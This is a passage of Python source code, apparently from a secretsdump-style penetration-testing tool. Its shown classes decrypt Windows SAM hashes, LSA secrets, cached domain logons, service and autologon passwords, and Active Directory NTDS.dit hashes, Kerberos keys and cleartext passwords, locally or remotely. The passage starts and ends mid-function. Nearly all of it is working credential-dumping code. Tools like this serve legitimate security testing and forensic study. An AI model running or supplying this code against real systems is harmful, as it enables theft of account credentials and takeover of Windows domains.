# Let I be the little-endian, unsigned integer.
|
|
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
|
|
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
|
|
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
|
|
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
|
|
key = pack('<L',baseKey)
|
|
key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
|
|
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
|
|
return self.transformKey(key1),self.transformKey(key2)
|
|
|
|
|
|
class OfflineRegistry:
|
|
def __init__(self, hiveFile = None, isRemote = False):
|
|
self.__hiveFile = hiveFile
|
|
if self.__hiveFile is not None:
|
|
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
|
|
|
|
def enumKey(self, searchKey):
|
|
parentKey = self.__registryHive.findKey(searchKey)
|
|
|
|
if parentKey is None:
|
|
return
|
|
|
|
keys = self.__registryHive.enumKey(parentKey)
|
|
|
|
return keys
|
|
|
|
def enumValues(self, searchKey):
|
|
key = self.__registryHive.findKey(searchKey)
|
|
|
|
if key is None:
|
|
return
|
|
|
|
values = self.__registryHive.enumValues(key)
|
|
|
|
return values
|
|
|
|
def getValue(self, keyValue):
|
|
value = self.__registryHive.getValue(keyValue)
|
|
|
|
if value is None:
|
|
return
|
|
|
|
return value
|
|
|
|
def getClass(self, className):
|
|
value = self.__registryHive.getClass(className)
|
|
|
|
if value is None:
|
|
return
|
|
|
|
return value
|
|
|
|
def finish(self):
|
|
if self.__hiveFile is not None:
|
|
# Remove temp file and whatever else is needed
|
|
self.__registryHive.close()
|
|
|
|
class SAMHashes(OfflineRegistry):
|
|
def __init__(self, samFile, bootKey, isRemote = False):
|
|
OfflineRegistry.__init__(self, samFile, isRemote)
|
|
self.__samFile = samFile
|
|
self.__hashedBootKey = ''
|
|
self.__bootKey = bootKey
|
|
self.__cryptoCommon = CryptoCommon()
|
|
self.__itemsFound = {}
|
|
|
|
def MD5(self, data):
|
|
md5 = hashlib.new('md5')
|
|
md5.update(data)
|
|
return md5.digest()
|
|
|
|
def getHBootKey(self):
|
|
logging.debug('Calculating HashedBootKey from SAM')
|
|
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
|
DIGITS = "0123456789012345678901234567890123456789\0"
|
|
|
|
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
|
|
|
|
domainData = DOMAIN_ACCOUNT_F(F)
|
|
|
|
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
|
|
|
|
rc4 = ARC4.new(rc4Key)
|
|
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
|
|
|
|
# Verify key with checksum
|
|
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
|
|
|
|
if checkSum != self.__hashedBootKey[16:]:
|
|
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
|
|
|
|
def __decryptHash(self, rid, cryptedHash, constant):
|
|
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
|
|
# plus hashedBootKey stuff
|
|
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
|
|
|
|
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
|
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
|
|
|
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
|
|
rc4 = ARC4.new(rc4Key)
|
|
key = rc4.encrypt(cryptedHash)
|
|
|
|
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
|
|
|
|
return decryptedHash
|
|
|
|
def dump(self):
|
|
NTPASSWORD = "NTPASSWORD\0"
|
|
LMPASSWORD = "LMPASSWORD\0"
|
|
|
|
if self.__samFile is None:
|
|
# No SAM file provided
|
|
return
|
|
|
|
logging.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
|
|
self.getHBootKey()
|
|
|
|
usersKey = 'SAM\\Domains\\Account\\Users'
|
|
|
|
# Enumerate all the RIDs
|
|
rids = self.enumKey(usersKey)
|
|
# Remove the Names item
|
|
try:
|
|
rids.remove('Names')
|
|
except:
|
|
pass
|
|
|
|
for rid in rids:
|
|
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
|
|
rid = int(rid,16)
|
|
|
|
V = userAccount['Data']
|
|
|
|
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
|
|
|
|
if userAccount['LMHashLength'] == 20:
|
|
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
|
|
else:
|
|
encLMHash = ''
|
|
|
|
if userAccount['NTHashLength'] == 20:
|
|
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
|
|
else:
|
|
encNTHash = ''
|
|
|
|
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
|
|
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
|
|
|
|
if lmHash == '':
|
|
lmHash = ntlm.LMOWFv1('','')
|
|
if ntHash == '':
|
|
ntHash = ntlm.NTOWFv1('','')
|
|
|
|
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
|
|
self.__itemsFound[rid] = answer
|
|
print_att(answer)
|
|
|
|
def export(self, fileName):
|
|
if len(self.__itemsFound) > 0:
|
|
items = sorted(self.__itemsFound)
|
|
fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
|
|
for item in items:
|
|
fd.write(self.__itemsFound[item]+'\n')
|
|
fd.close()
|
|
|
|
|
|
class LSASecrets(OfflineRegistry):
|
|
def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False):
|
|
OfflineRegistry.__init__(self,securityFile, isRemote)
|
|
self.__hashedBootKey = ''
|
|
self.__bootKey = bootKey
|
|
self.__LSAKey = ''
|
|
self.__NKLMKey = ''
|
|
self.__isRemote = isRemote
|
|
self.__vistaStyle = True
|
|
self.__cryptoCommon = CryptoCommon()
|
|
self.__securityFile = securityFile
|
|
self.__remoteOps = remoteOps
|
|
self.__cachedItems = []
|
|
self.__secretItems = []
|
|
|
|
def MD5(self, data):
|
|
md5 = hashlib.new('md5')
|
|
md5.update(data)
|
|
return md5.digest()
|
|
|
|
def __sha256(self, key, value, rounds=1000):
|
|
sha = hashlib.sha256()
|
|
sha.update(key)
|
|
for i in range(1000):
|
|
sha.update(value)
|
|
return sha.digest()
|
|
|
|
def __decryptAES(self, key, value, iv='\x00'*16):
|
|
plainText = ''
|
|
if iv != '\x00'*16:
|
|
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
|
|
|
for index in range(0, len(value), 16):
|
|
if iv == '\x00'*16:
|
|
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
|
cipherBuffer = value[index:index+16]
|
|
# Pad buffer to 16 bytes
|
|
if len(cipherBuffer) < 16:
|
|
cipherBuffer += '\x00' * (16-len(cipherBuffer))
|
|
plainText += aes256.decrypt(cipherBuffer)
|
|
|
|
return plainText
|
|
|
|
def __decryptSecret(self, key, value):
|
|
# [MS-LSAD] Section 5.1.2
|
|
plainText = ''
|
|
|
|
encryptedSecretSize = unpack('<I', value[:4])[0]
|
|
value = value[len(value)-encryptedSecretSize:]
|
|
|
|
key0 = key
|
|
for i in range(0, len(value), 8):
|
|
cipherText = value[:8]
|
|
tmpStrKey = key0[:7]
|
|
tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
|
|
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
|
|
plainText += Crypt1.decrypt(cipherText)
|
|
key0 = key0[7:]
|
|
value = value[8:]
|
|
# AdvanceKey
|
|
if len(key0) < 7:
|
|
key0 = key[len(key0):]
|
|
|
|
secret = LSA_SECRET_XP(plainText)
|
|
return secret['Secret']
|
|
|
|
def __decryptHash(self, key, value, iv):
|
|
hmac_md5 = HMAC.new(key,iv)
|
|
rc4key = hmac_md5.digest()
|
|
|
|
rc4 = ARC4.new(rc4key)
|
|
data = rc4.encrypt(value)
|
|
return data
|
|
|
|
def __decryptLSA(self, value):
|
|
if self.__vistaStyle is True:
|
|
# ToDo: There could be more than one LSA Keys
|
|
record = LSA_SECRET(value)
|
|
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
|
|
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
record = LSA_SECRET_BLOB(plainText)
|
|
self.__LSAKey = record['Secret'][52:][:32]
|
|
|
|
else:
|
|
md5 = hashlib.new('md5')
|
|
md5.update(self.__bootKey)
|
|
for i in range(1000):
|
|
md5.update(value[60:76])
|
|
tmpKey = md5.digest()
|
|
rc4 = ARC4.new(tmpKey)
|
|
plainText = rc4.decrypt(value[12:60])
|
|
self.__LSAKey = plainText[0x10:0x20]
|
|
|
|
def __getLSASecretKey(self):
|
|
logging.debug('Decrypting LSA Key')
|
|
# Let's try the key post XP
|
|
value = self.getValue('\\Policy\\PolEKList\\default')
|
|
if value is None:
|
|
logging.debug('PolEKList not found, trying PolSecretEncryptionKey')
|
|
# Second chance
|
|
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
|
|
self.__vistaStyle = False
|
|
if value is None:
|
|
# No way :(
|
|
return None
|
|
|
|
self.__decryptLSA(value[1])
|
|
|
|
def __getNLKMSecret(self):
|
|
logging.debug('Decrypting NL$KM')
|
|
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
|
|
if value is None:
|
|
raise Exception("Couldn't get NL$KM value")
|
|
if self.__vistaStyle is True:
|
|
record = LSA_SECRET(value[1])
|
|
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
|
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
else:
|
|
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
|
|
|
|
def __pad(self, data):
|
|
if (data & 0x3) > 0:
|
|
return data + (data & 0x3)
|
|
else:
|
|
return data
|
|
|
|
def dumpCachedHashes(self):
|
|
if self.__securityFile is None:
|
|
# No SECURITY file provided
|
|
return
|
|
|
|
logging.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
|
|
|
|
# Let's first see if there are cached entries
|
|
values = self.enumValues('\\Cache')
|
|
if values is None:
|
|
# No cache entries
|
|
return
|
|
try:
|
|
# Remove unnecesary value
|
|
values.remove('NL$Control')
|
|
except:
|
|
pass
|
|
|
|
self.__getLSASecretKey()
|
|
self.__getNLKMSecret()
|
|
|
|
for value in values:
|
|
logging.debug('Looking into %s' % value)
|
|
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
|
|
if record['CH'] != 16 * '\x00':
|
|
if self.__vistaStyle is True:
|
|
plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
|
|
else:
|
|
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
|
|
pass
|
|
encHash = plainText[:0x10]
|
|
plainText = plainText[0x48:]
|
|
userName = plainText[:record['UserLength']].decode('utf-16le')
|
|
plainText = plainText[self.__pad(record['UserLength']):]
|
|
domain = plainText[:record['DomainNameLength']].decode('utf-16le')
|
|
plainText = plainText[self.__pad(record['DomainNameLength']):]
|
|
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
|
|
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
|
|
self.__cachedItems.append(answer)
|
|
print_att(answer)
|
|
|
|
def __printSecret(self, name, secretItem):
|
|
# Based on [MS-LSAD] section 3.1.1.4
|
|
|
|
# First off, let's discard NULL secrets.
|
|
if len(secretItem) == 0:
|
|
logging.debug('Discarding secret %s, NULL Data' % name)
|
|
return
|
|
|
|
# We might have secrets with zero
|
|
if secretItem.startswith('\x00\x00'):
|
|
logging.debug('Discarding secret %s, all zeros' % name)
|
|
return
|
|
|
|
upperName = name.upper()
|
|
|
|
logging.info('%s ' % name)
|
|
|
|
secret = ''
|
|
|
|
if upperName.startswith('_SC_'):
|
|
# Service name, a password might be there
|
|
# Let's first try to decode the secret
|
|
try:
|
|
strDecoded = secretItem.decode('utf-16le')
|
|
except:
|
|
pass
|
|
else:
|
|
# We have to get the account the service
|
|
# runs under
|
|
if self.__isRemote is True:
|
|
account = self.__remoteOps.getServiceAccount(name[4:])
|
|
if account is None:
|
|
secret = '(Unknown User):'
|
|
else:
|
|
secret = "%s:" % account
|
|
else:
|
|
# We don't support getting this info for local targets at the moment
|
|
secret = '(Unknown User):'
|
|
secret += strDecoded
|
|
elif upperName.startswith('DEFAULTPASSWORD'):
|
|
# defaults password for winlogon
|
|
# Let's first try to decode the secret
|
|
try:
|
|
strDecoded = secretItem.decode('utf-16le')
|
|
except:
|
|
pass
|
|
else:
|
|
# We have to get the account this password is for
|
|
if self.__isRemote is True:
|
|
account = self.__remoteOps.getDefaultLoginAccount()
|
|
if account is None:
|
|
secret = '(Unknown User):'
|
|
else:
|
|
secret = "%s:" % account
|
|
else:
|
|
# We don't support getting this info for local targets at the moment
|
|
secret = '(Unknown User):'
|
|
secret += strDecoded
|
|
elif upperName.startswith('ASPNET_WP_PASSWORD'):
|
|
try:
|
|
strDecoded = secretItem.decode('utf-16le')
|
|
except:
|
|
pass
|
|
else:
|
|
secret = 'ASPNET: %s' % strDecoded
|
|
elif upperName.startswith('$MACHINE.ACC'):
|
|
# compute MD4 of the secret.. yes.. that is the nthash? :-o
|
|
md4 = MD4.new()
|
|
md4.update(secretItem)
|
|
if self.__isRemote is True:
|
|
machine, domain = self.__remoteOps.getMachineNameAndDomain()
|
|
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
|
|
else:
|
|
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
|
|
|
|
if secret != '':
|
|
print_att(secret)
|
|
self.__secretItems.append(secret)
|
|
else:
|
|
# Default print, hexdump
|
|
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
|
|
print_att("{}:{}".format(name, hexlify(secretItem)))
|
|
|
|
def dumpSecrets(self):
|
|
if self.__securityFile is None:
|
|
# No SECURITY file provided
|
|
return
|
|
|
|
logging.info('Dumping LSA Secrets')
|
|
|
|
# Let's first see if there are cached entries
|
|
keys = self.enumKey('\\Policy\\Secrets')
|
|
if keys is None:
|
|
# No entries
|
|
return
|
|
try:
|
|
# Remove unnecesary value
|
|
keys.remove('NL$Control')
|
|
except:
|
|
pass
|
|
|
|
if self.__LSAKey == '':
|
|
self.__getLSASecretKey()
|
|
|
|
for key in keys:
|
|
logging.debug('Looking into %s' % key)
|
|
value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
|
|
|
|
if value is not None:
|
|
if self.__vistaStyle is True:
|
|
record = LSA_SECRET(value[1])
|
|
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
|
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
record = LSA_SECRET_BLOB(plainText)
|
|
secret = record['Secret']
|
|
else:
|
|
secret = self.__decryptSecret(self.__LSAKey, value[1])
|
|
|
|
self.__printSecret(key, secret)
|
|
|
|
def exportSecrets(self, fileName):
|
|
if len(self.__secretItems) > 0:
|
|
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
|
|
for item in self.__secretItems:
|
|
fd.write(item+'\n')
|
|
fd.close()
|
|
|
|
def exportCached(self, fileName):
|
|
if len(self.__cachedItems) > 0:
|
|
fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
|
|
for item in self.__cachedItems:
|
|
fd.write(item+'\n')
|
|
fd.close()
|
|
|
|
|
|
class NTDSHashes:
|
|
NAME_TO_INTERNAL = {
|
|
'uSNCreated':'ATTq131091',
|
|
'uSNChanged':'ATTq131192',
|
|
'name':'ATTm3',
|
|
'objectGUID':'ATTk589826',
|
|
'objectSid':'ATTr589970',
|
|
'userAccountControl':'ATTj589832',
|
|
'primaryGroupID':'ATTj589922',
|
|
'accountExpires':'ATTq589983',
|
|
'logonCount':'ATTj589993',
|
|
'sAMAccountName':'ATTm590045',
|
|
'sAMAccountType':'ATTj590126',
|
|
'lastLogonTimestamp':'ATTq589876',
|
|
'userPrincipalName':'ATTm590480',
|
|
'unicodePwd':'ATTk589914',
|
|
'dBCSPwd':'ATTk589879',
|
|
'ntPwdHistory':'ATTk589918',
|
|
'lmPwdHistory':'ATTk589984',
|
|
'pekList':'ATTk590689',
|
|
'supplementalCredentials':'ATTk589949',
|
|
'pwdLastSet':'ATTq589920',
|
|
}
|
|
|
|
NAME_TO_ATTRTYP = {
|
|
'userPrincipalName': 0x90290,
|
|
'sAMAccountName': 0x900DD,
|
|
'unicodePwd': 0x9005A,
|
|
'dBCSPwd': 0x90037,
|
|
'ntPwdHistory': 0x9005E,
|
|
'lmPwdHistory': 0x900A0,
|
|
'supplementalCredentials': 0x9007D,
|
|
'objectSid': 0x90092,
|
|
}
|
|
|
|
ATTRTYP_TO_ATTID = {
|
|
'userPrincipalName': '1.2.840.113556.1.4.656',
|
|
'sAMAccountName': '1.2.840.113556.1.4.221',
|
|
'unicodePwd': '1.2.840.113556.1.4.90',
|
|
'dBCSPwd': '1.2.840.113556.1.4.55',
|
|
'ntPwdHistory': '1.2.840.113556.1.4.94',
|
|
'lmPwdHistory': '1.2.840.113556.1.4.160',
|
|
'supplementalCredentials': '1.2.840.113556.1.4.125',
|
|
'objectSid': '1.2.840.113556.1.4.146',
|
|
'pwdLastSet': '1.2.840.113556.1.4.96',
|
|
}
|
|
|
|
KERBEROS_TYPE = {
|
|
1:'dec-cbc-crc',
|
|
3:'des-cbc-md5',
|
|
17:'aes128-cts-hmac-sha1-96',
|
|
18:'aes256-cts-hmac-sha1-96',
|
|
0xffffff74:'rc4_hmac',
|
|
}
|
|
|
|
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
|
|
|
|
SAM_NORMAL_USER_ACCOUNT = 0x30000000
|
|
SAM_MACHINE_ACCOUNT = 0x30000001
|
|
SAM_TRUST_ACCOUNT = 0x30000002
|
|
|
|
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
|
|
|
|
class PEKLIST_ENC(Structure):
|
|
structure = (
|
|
('Header','8s=""'),
|
|
('KeyMaterial','16s=""'),
|
|
('EncryptedPek',':'),
|
|
)
|
|
|
|
class PEKLIST_PLAIN(Structure):
|
|
structure = (
|
|
('Header','32s=""'),
|
|
('DecryptedPek',':'),
|
|
)
|
|
|
|
class PEK_KEY(Structure):
|
|
structure = (
|
|
('Header','1s=""'),
|
|
('Padding','3s=""'),
|
|
('Key','16s=""'),
|
|
)
|
|
|
|
class CRYPTED_HASH(Structure):
|
|
structure = (
|
|
('Header','8s=""'),
|
|
('KeyMaterial','16s=""'),
|
|
('EncryptedHash','16s=""'),
|
|
)
|
|
|
|
class CRYPTED_HISTORY(Structure):
|
|
structure = (
|
|
('Header','8s=""'),
|
|
('KeyMaterial','16s=""'),
|
|
('EncryptedHash',':'),
|
|
)
|
|
|
|
class CRYPTED_BLOB(Structure):
|
|
structure = (
|
|
('Header','8s=""'),
|
|
('KeyMaterial','16s=""'),
|
|
('EncryptedHash',':'),
|
|
)
|
|
|
|
def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
|
|
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
|
|
self.__bootKey = bootKey
|
|
self.__NTDS = ntdsFile
|
|
self.__history = history
|
|
self.__noLMHash = noLMHash
|
|
self.__useVSSMethod = useVSSMethod
|
|
self.__remoteOps = remoteOps
|
|
self.__pwdLastSet = pwdLastSet
|
|
if self.__NTDS is not None:
|
|
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
|
|
self.__cursor = self.__ESEDB.openTable('datatable')
|
|
self.__tmpUsers = list()
|
|
self.__PEK = list()
|
|
self.__cryptoCommon = CryptoCommon()
|
|
self.__kerberosKeys = OrderedDict()
|
|
self.__clearTextPwds = OrderedDict()
|
|
self.__justNTLM = justNTLM
|
|
self.__savedSessionFile = resumeSession
|
|
self.__resumeSessionFile = None
|
|
self.__outputFileName = outputFileName
|
|
|
|
def getResumeSessionFile(self):
|
|
return self.__resumeSessionFile
|
|
|
|
def __getPek(self):
|
|
logging.info('Searching for pekList, be patient')
|
|
peklist = None
|
|
while True:
|
|
record = self.__ESEDB.getNextRow(self.__cursor)
|
|
if record is None:
|
|
break
|
|
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
|
|
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
|
|
break
|
|
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
|
|
# Okey.. we found some users, but we're not yet ready to process them.
|
|
# Let's just store them in a temp list
|
|
self.__tmpUsers.append(record)
|
|
|
|
if peklist is not None:
|
|
encryptedPekList = self.PEKLIST_ENC(peklist)
|
|
md5 = hashlib.new('md5')
|
|
md5.update(self.__bootKey)
|
|
for i in range(1000):
|
|
md5.update(encryptedPekList['KeyMaterial'])
|
|
tmpKey = md5.digest()
|
|
rc4 = ARC4.new(tmpKey)
|
|
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
|
|
PEKLen = len(self.PEK_KEY())
|
|
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
|
|
cursor = i * PEKLen
|
|
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
|
|
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
|
|
self.__PEK.append(pek['Key'])
|
|
|
|
def __removeRC4Layer(self, cryptedHash):
|
|
md5 = hashlib.new('md5')
|
|
# PEK index can be found on header of each ciphered blob (pos 8-10)
|
|
pekIndex = hexlify(cryptedHash['Header'])
|
|
md5.update(self.__PEK[int(pekIndex[8:10])])
|
|
md5.update(cryptedHash['KeyMaterial'])
|
|
tmpKey = md5.digest()
|
|
rc4 = ARC4.new(tmpKey)
|
|
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
|
|
|
|
return plainText
|
|
|
|
def __removeDESLayer(self, cryptedHash, rid):
|
|
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
|
|
|
|
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
|
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
|
|
|
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
|
|
|
|
return decryptedHash
|
|
|
|
def __fileTimeToDateTime(self, t):
|
|
t -= 116444736000000000
|
|
t /= 10000000
|
|
if t < 0:
|
|
return 'never'
|
|
else:
|
|
dt = datetime.fromtimestamp(t)
|
|
return dt.strftime("%Y-%m-%d %H:%M")
|
|
|
|
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
|
|
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
|
|
haveInfo = False
|
|
if self.__useVSSMethod is True:
|
|
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
|
|
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
|
|
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
|
|
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
|
|
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
|
|
else:
|
|
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
|
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
|
|
plainText = self.__removeRC4Layer(cipherText)
|
|
haveInfo = True
|
|
else:
|
|
domain = None
|
|
userName = None
|
|
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
|
|
try:
|
|
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
|
|
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
|
|
except Exception, e:
|
|
logging.debug('Failed to execute OidFromAttid with error %s' % e)
|
|
# Fallbacking to fixed table and hope for the best
|
|
attId = attr['attrTyp']
|
|
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
|
|
|
|
if attId == LOOKUP_TABLE['userPrincipalName']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
|
|
except:
|
|
domain = None
|
|
else:
|
|
domain = None
|
|
elif attId == LOOKUP_TABLE['sAMAccountName']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
|
|
except:
|
|
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
userName = 'unknown'
|
|
else:
|
|
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
userName = 'unknown'
|
|
if attId == LOOKUP_TABLE['supplementalCredentials']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
|
|
if len(plainText) > 24:
|
|
haveInfo = True
|
|
if domain is not None:
|
|
userName = '%s\\%s' % (domain, userName)
|
|
|
|
if haveInfo is True:
|
|
try:
|
|
userProperties = samr.USER_PROPERTIES(plainText)
|
|
except:
|
|
# On some old w2k3 there might be user properties that don't
|
|
# match [MS-SAMR] structure, discarding them
|
|
return
|
|
propertiesData = userProperties['UserProperties']
|
|
for propertyCount in range(userProperties['PropertyCount']):
|
|
userProperty = samr.USER_PROPERTY(propertiesData)
|
|
propertiesData = propertiesData[len(userProperty):]
|
|
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
|
|
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
|
|
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
|
|
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
|
|
data = kerbStoredCredentialNew['Buffer']
|
|
for credential in range(kerbStoredCredentialNew['CredentialCount']):
|
|
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
|
|
data = data[len(keyDataNew):]
|
|
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
|
|
|
|
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
|
|
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
|
|
else:
|
|
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
|
|
# We're just storing the keys, not printing them, to make the output more readable
|
|
# This is kind of ugly... but it's what I came up with tonight to get an ordered
|
|
# set :P. Better ideas welcomed ;)
|
|
self.__kerberosKeys[answer] = None
|
|
if keysFile is not None:
|
|
self.__writeOutput(keysFile, answer + '\n')
|
|
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
|
|
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
|
|
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
|
|
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
|
|
self.__clearTextPwds[answer] = None
|
|
if clearTextFile is not None:
|
|
self.__writeOutput(clearTextFile, answer + '\n')
|
|
|
|
if clearTextFile is not None:
|
|
clearTextFile.flush()
|
|
if keysFile is not None:
|
|
keysFile.flush()
|
|
|
|
def __decryptHash(self, record, rid=None, prefixTable=None, outputFile=None):
|
|
if self.__useVSSMethod is True:
|
|
logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
|
|
|
|
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
|
|
rid = sid.formatCanonical().split('-')[-1]
|
|
|
|
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
|
|
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
|
|
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
|
|
LMHash = self.__removeDESLayer(tmpLMHash, rid)
|
|
else:
|
|
LMHash = ntlm.LMOWFv1('', '')
|
|
|
|
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
|
|
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
|
|
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
|
|
NTHash = self.__removeDESLayer(tmpNTHash, rid)
|
|
else:
|
|
NTHash = ntlm.NTOWFv1('', '')
|
|
|
|
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
|
|
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
|
|
